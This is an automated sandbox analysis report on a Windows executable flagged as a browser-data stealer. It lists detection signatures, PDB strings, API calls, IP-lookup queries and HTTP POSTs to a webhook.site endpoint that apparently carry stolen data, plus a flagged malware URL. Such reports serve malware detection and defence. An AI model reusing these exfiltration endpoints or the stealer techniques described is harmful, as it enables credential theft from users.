Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
4Vp6Xc8SFr.exe

Overview

General Information

Sample Name:4Vp6Xc8SFr.exe
Original Sample Name:b91a84a6995cb793ef6417222281295b.exe
Analysis ID:840711
MD5:b91a84a6995cb793ef6417222281295b
SHA1:e8f8bf0cd0c38c339ceaadf3efca77d10bc8d43e
SHA256:37a78be75ce8c01a57b12f589aacda2e8dd8fcd861bb09e279528d4dd0a1de24
Tags:exe
Infos:

Detection

Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
May check the online IP address of the machine
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
PE file contains sections with non-standard names
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
PE file does not import any functions
Sample file is different than original file name gathered from version info
Extensive use of GetProcAddress (often used to hide API calls)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Binary contains a suspicious time stamp
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • 4Vp6Xc8SFr.exe (PID: 5220 cmdline: C:\Users\user\Desktop\4Vp6Xc8SFr.exe MD5: B91A84A6995CB793EF6417222281295B)
    • 4Vp6Xc8SFr.exe (PID: 6932 cmdline: C:\Users\user\Desktop\4Vp6Xc8SFr.exe MD5: B91A84A6995CB793EF6417222281295B)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: 4Vp6Xc8SFr.exeReversingLabs: Detection: 45%
Source: 4Vp6Xc8SFr.exeVirustotal: Detection: 60%Perma Link
Antivirus / Scanner detection for submitted sample
Source: 4Vp6Xc8SFr.exeAvira: detected
Antivirus detection for URL or domain
Source: https://superfurrycdn.nl/copy/Avira URL Cloud: Label: malware
Source: 4Vp6Xc8SFr.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257276309.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257428994.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\sqlite3.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.333608899.00007FFCFDCD2000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255729722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.338072096.00007FFD04BB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256211868.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255519359.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256814450.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257207150.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_queue.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337874153.00007FFD048B3000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257481371.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_ssl.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.337540020.00007FFD0440D000.00000002.00000001.01000000.00000011.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_lzma.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337643719.00007FFD0444C000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255932396.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256962278.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256710021.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257170724.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255568176.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_ctypes.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.338389314.00007FFD12890000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256342465.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255252884.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255603845.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: 4Vp6Xc8SFr.exe, 00000001.00000002.335464508.00007FFD01966000.00000002.00000001.01000000.00000012.sdmp
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257129910.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_socket.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254230532.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338538781.00007FFD19B11000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256526003.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\unicodedata.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdbUGP source: 4Vp6Xc8SFr.exe, 00000001.00000002.338072096.00007FFD04BB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.258048029.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\select.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338283175.00007FFD10D23000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255842075.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256764108.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.335464508.00007FFD01966000.00000002.00000001.01000000.00000012.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\python310.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.334748634.00007FFCFE052000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_bz2.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338332746.00007FFD111CD000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256297072.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255478477.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257020234.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256078416.0000025976DCC000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257308921.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_hashlib.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.338451913.00007FFD15406000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256464824.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256260543.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.258095070.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\bin\amd64\_lzma.pdbNN source: 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.337643719.00007FFD0444C000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256580154.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256915427.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256624298.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255782102.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257403780.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.256034149.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.255987368.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257242821.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: 4Vp6Xc8SFr.exe, 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmp
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 4Vp6Xc8SFr.exe, 00000000.00000003.257593904.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8D7790 FindFirstFileExW,FindClose,0_2_00007FF7DA8D7790
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8F0904 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF7DA8F0904
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,1_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8D7790 FindFirstFileExW,FindClose,1_2_00007FF7DA8D7790
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8F0904 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00007FF7DA8F0904
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,1_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FFCFD863229 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,1_2_00007FFCFD863229

Networking

barindex
May check the online IP address of the machine
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDNS query: name: api.ipify.org
Source: Joe Sandbox ViewIP Address: 64.185.227.155 64.185.227.155
Source: Joe Sandbox ViewIP Address: 64.185.227.155 64.185.227.155
Source: global trafficHTTP traffic detected: POST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1Accept-Encoding: identityContent-Length: 443Host: webhook.siteContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global trafficHTTP traffic detected: POST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1Accept-Encoding: identityContent-Length: 554Host: webhook.siteContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global trafficHTTP traffic detected: POST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1Accept-Encoding: identityContent-Length: 546Host: webhook.siteContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global trafficHTTP traffic detected: POST /6ef9c344-b801-4707-b071-bfe96f5a7949 HTTP/1.1Accept-Encoding: identityContent-Length: 509Host: webhook.siteContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: 4Vp6Xc8SFr.exe, 00000001.00000002.324535554.0000017AC9DF0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.../back.jpeg
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.315732154.0000017AC9B8B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314533021.0000017AC9B88000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326576109.0000017AC9FC9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326611429.0000017AC9FCC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317531193.0000017AC9FCB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315855580.0000017AC9B95000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316371263.0000017AC9FDB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316573052.0000017AC9FAA000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blog.cryptographyusering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255235042.0000025976DD2000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.258939168.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DCF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 4Vp6Xc8SFr.exe, 00000000.00000003.255019183.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254728364.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260232942.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260139268.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.260683507.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254382087.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254898897.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.258333503.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254482843.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259054046.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254324143.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.259483765.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.255103306.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254625193.0000025976DC5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000000.00000003.254845722.0000025976DC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
